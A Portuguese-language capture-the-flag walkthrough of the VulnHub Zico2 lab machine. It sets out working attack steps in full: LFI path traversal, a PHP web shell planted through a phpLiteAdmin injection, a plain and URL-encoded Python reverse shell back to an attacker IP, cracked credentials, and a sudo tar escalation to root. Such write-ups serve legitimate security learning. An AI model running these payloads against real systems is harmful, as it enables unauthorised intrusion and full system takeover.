Link da Maquina: https://www.vulnhub.com/entry/zico2-1,210/
Scan/Enumeracao
Host Discovery
Com o comando arp-scan varremos a rede para descobrir os hosts ativos e consequentemente o IP do nosso alvo: 192.168.110.11
1
sudo arp-scan -I eth1 192.168.110.0/24
Port Discovery
Com o parametro “-p-“ do nmap varremos todas as portas possiveis do nosso alvo e encontramos 04 delas abertas. 22, 80, 111 e 37011
1
sudo nmap -n -T5 -p- 192.168.110.11
Port Scan
Agora com o parametro “-A” do nmap vamos descobrir mais informacoes sobre essas portas abertas do nosso alvo
1
sudo nmap -n -T5 -A -p 22,80,111,37011 192.168.110.11
- Porta 22: ssh OpenSSH 5.9p1 Debian 5ubuntu1.10)
- Porta 80: http Apache httpd 2.2.22
- Porta 111: rpcbind 2-4 (RPC #100000)
- Porta 37011: 1 (RPC #100024)
Enumeracao/Exploracao Web - Porta 80
Inspecao visual
Temos na pagina princial o site Zico’s Shop
Rolando a pagina para baixo encontramos um botao que nos leva para outra pagina
Nao encontrmaos nada de mais no codigo fonte…
Enumeracao - Nikto
1
nikto -h http://192.168.110.11/
Rodamos o nikto na aplicacao mas nao conseguimos nada de muito importante
Enumeracao - Gobuster
Rodamos o gobuster na aplicacao e encontramos alguns arquivos e diretorios
1
gobuster dir -u http://192.168.110.11/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,js,html,txt
Aqui estao alguns diretorios e arquivos interessantes que encontramos no fuzzy
- /img: Existem alguns diretoios recursivos que estao armazenando as imagens da aplicacao
- /tools ou /tools.html: Pagina que ja tinha conseguido encontrar na inspecao visual
- /package: Pagina com informacoes do JSON
- /dbadmin: Pagina que o proprio nome e sugestivo. Deve ter algo de administracao… Nela contem um arquivo “test_db.php”
LFI
Conseguimos um LFI na segunda pagina que encontramos na inspecao visual: http://192.168.110.11/view.php?page=tools.html
1
http://192.168.110.11/view.php?page=../../../../../etc/passwd
phpLiteAdmin
Acessando a pagina “http://192.168.110.11/dbadmin/test_db.php” temos uma pagina de autenticacao do phpLiteAdmin versao 1.9.3
Testando as senhas obvias, consegui acesso com a senha admin
Depois de realizar um reconhecimento na aplicacao foi observado que conseguimos ter acesso, atraves das colunas info e SQL, a informacoes do bando de dados
Na aba SQL ja tinha a query para realizar a consulta no banco de dados, o unico trabalho foi clicar em “GO”. Conseguimos duas credenciais, porem a senha esta codificada
- root:653F4B285089453FE00E2AAFAC573414
- zico:96781A607F4E9F5F423AC01F0DAB0EBD
hashes.com
Decodificando os hashes que encontramos temos:
- root:34kroot34
- zico:zico2215@
Tentei logar com o SSH mas nao deu certo nenhuma das duas credenciais
Exploit Publico - searchsploit
Ja que nao conseguimos nenhum RCE ou um ponto de injecao para inserir o nosso payload, vamos pesquisar por exploits publicos… O exploit 24044 parece bem promissor por permitir execucao de codigo e ser para a mesma versao do software que esta rodando no alvo
1
2
searchsploit phpLiteAdmin
searchsploit -m 24044
Resumidamente o exploit e uma informacao que diz que a aplicacao e vulneravel a injecao de vodigo php. Para isso devemos criar um banco de dados com a extensao “.php” e depois criar uma tabela e inserir em um campo da tabela o codigo php que queremos. Entao vamos la…
Primeiramente vamos criar o banco de dados
Agora vamos selecionar o banco de dados criado
Criamos a tabela
Criar a coluna com o valor default
1
<?php phpinfo()?>
Conseguimos criar o nosso payload
Sabendo que o bando de dados esta em /usr/databases/charlie_teste.php entao vamos executa-lo utilizando o LFI
1
http://192.168.110.11/view.php?page=../../../../../usr/databases/charlie_teste.php
Ja que temos certeza que podemos executar codigo desta forma vamos ganhar o shell reverso
Shell Reverso
Agora para ganhar o shell vamos implantar no nosso payload “php do mal” no lugar do “phpinfo()” para executar comando via URL
1
2
3
<?php echo system($_GET["cmd"]); ?>
# Os dois dao certo
<?php echo shell_exec($_GET["cmd"]); exit; ?>
Vamos chamar o arquivo com o LFI para testa-lo
1
http://192.168.110.11/view.php?page=../../../../../usr/databases/charlie.php&cmd=whoami
Depois de testado procuramos por um comando para nos retornar o shell reverso. Utilizamos o rbscheat que pode ser encontrado no GitHub
1
rbscheat -i 192.168.110.3:443 -l python
- python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“192.168.110.3”,443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);’
Vamos codificar para URL o comando acima para enviar pelo browser
- %70%79%74%68%6f%6e%20%2d%63%20%27%69%6d%70%6f%72%74%20%73%6f%63%6b%65%74%2c%73%75%62%70%72%6f%63%65%73%73%2c%6f%73%3b%73%3d%73%6f%63%6b%65%74%2e%73%6f%63%6b%65%74%28%73%6f%63%6b%65%74%2e%41%46%5f%49%4e%45%54%2c%73%6f%63%6b%65%74%2e%53%4f%43%4b%5f%53%54%52%45%41%4d%29%3b%73%2e%63%6f%6e%6e%65%63%74%28%28%22%31%39%32%2e%31%36%38%2e%31%31%30%2e%33%22%2c%34%34%33%29%29%3b%6f%73%2e%64%75%70%32%28%73%2e%66%69%6c%65%6e%6f%28%29%2c%30%29%3b%20%6f%73%2e%64%75%70%32%28%73%2e%66%69%6c%65%6e%6f%28%29%2c%31%29%3b%20%6f%73%2e%64%75%70%32%28%73%2e%66%69%6c%65%6e%6f%28%29%2c%32%29%3b%70%3d%73%75%62%70%72%6f%63%65%73%73%2e%63%61%6c%6c%28%5b%22%2f%62%69%6e%2f%73%68%22%2c%22%2d%69%22%5d%29%3b%27
Agora enviamos o payload para shell reverso via URL.
1
192.168.110.11/view.php?page=../../../../../usr/databases/charlie.php&cmd=%70%79%74%68%6f%6e%20%2d%63%20%27%69%6d%70%6f%72%74%20%73%6f%63%6b%65%74%2c%73%75%62%70%72%6f%63%65%73%73%2c%6f%73%3b%73%3d%73%6f%63%6b%65%74%2e%73%6f%63%6b%65%74%28%73%6f%63%6b%65%74%2e%41%46%5f%49%4e%45%54%2c%73%6f%63%6b%65%74%2e%53%4f%43%4b%5f%53%54%52%45%41%4d%29%3b%73%2e%63%6f%6e%6e%65%63%74%28%28%22%31%39%32%2e%31%36%38%2e%31%31%30%2e%33%22%2c%34%34%33%29%29%3b%6f%73%2e%64%75%70%32%28%73%2e%66%69%6c%65%6e%6f%28%29%2c%30%29%3b%20%6f%73%2e%64%75%70%32%28%73%2e%66%69%6c%65%6e%6f%28%29%2c%31%29%3b%20%6f%73%2e%64%75%70%32%28%73%2e%66%69%6c%65%6e%6f%28%29%2c%32%29%3b%70%3d%73%75%62%70%72%6f%63%65%73%73%2e%63%61%6c%6c%28%5b%22%2f%62%69%6e%2f%73%68%22%2c%22%2d%69%22%5d%29%3b%27
Antes de enviar temos que deixar a porta escutando para receber o shell. Invocamos o bash para posteriormente conseguirmos “mehorar” o shell
1
2
bash
sudo nc -lnvp 443
Shell Interativo
Vamos melhorar o shell cachorro que recebemos. Para isso os seguintes passos devem ser seguidos:
- 1: Importar o tty
1
python -c 'import pty; pty.spawn("/bin/bash")'
- 2:
CTRL+Z
- 3: No shell da maquina kali digitar o seguinte comando
1
stty raw -echo
- 4: Ainda no shell da kali digitar
fg
e depois pressionar duas vezes oEnter
- 5: Digitar o seguinte comando no shell do alvo:
1
export TERM=xterm
Usuario “www-data”
Escalando Privilegio
Seguindo a metodologia conseguimos achar algumas coisas que nos chamou atencao no /home/zico
Lendo o arquivo to_do.txt, parece ser uma lista de coisas para fazer. Parece que temos algumas coisas em desenvolvimento…
Olhando o dietorio do joomla nao encontramos nada de interessante. Enviamos o arquivo “zico-history.tar.gz” para a kali, descompactamos e lemos ele, porem nao tem nada de interessante, so uma copia da historia do ex jogador de futebol Zico.
Acessando o diretorio /wordpress verificamos que existe o arquivo wp-config.php
Encontramos a credencial para a conexao do wordpress com o MySQL zico:sWfCsfJSPV9H3AmQzw8
Tentamos logar com a credencial encontrada no MySQL porem nao conseguimos
Jogamos a senha no hash-identifier para verifcar se era algum tipo de hash e o resultado foi negativo
O proximo passo foi tentar logar com o usuario zico da maquina com essa senha. Conseguimos escalar privilegio para o usuario zico
Usuario “zico”
Escalando Privilegio
Seguindo a metodologia a primeira coisa que testamos foi o comando sudo -l
. Verificamos que podemos executar os comando tar e zip
GTFOBINS
Pesquisamos o que poderiamos fazer com esses comandos para escalar privilegio no portal do GTFOBINS
- Usando o zip
- Usando o tar
Comando “tar”
Vamos utilizar o comando tar para escalar
1
sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
Usuario “root”
**Excelente. I am gROOT!
Flag “root”
Conseguimos pegar a flag de root
Bonus
Escalar Privilegio - Vulnerabiliade do Kernel
Conseguimos escalar privilegio, tambem, por meio de um exploit que explora uma vulnerbilidade do kernel
1
uname -a
1
searchsploit 3.2.0-23
Licoes aprendidas
Demorei mais de duas horas quebrando a cabeca para ganhar o shell do “www-data” porque o comando php que estava enviando para conseguir RCE estava com as aspas (“) diferentes e a aplicacao nao conseguia executar o comando, portanto nao conseguia o RCE e muito menos o shell do usuario.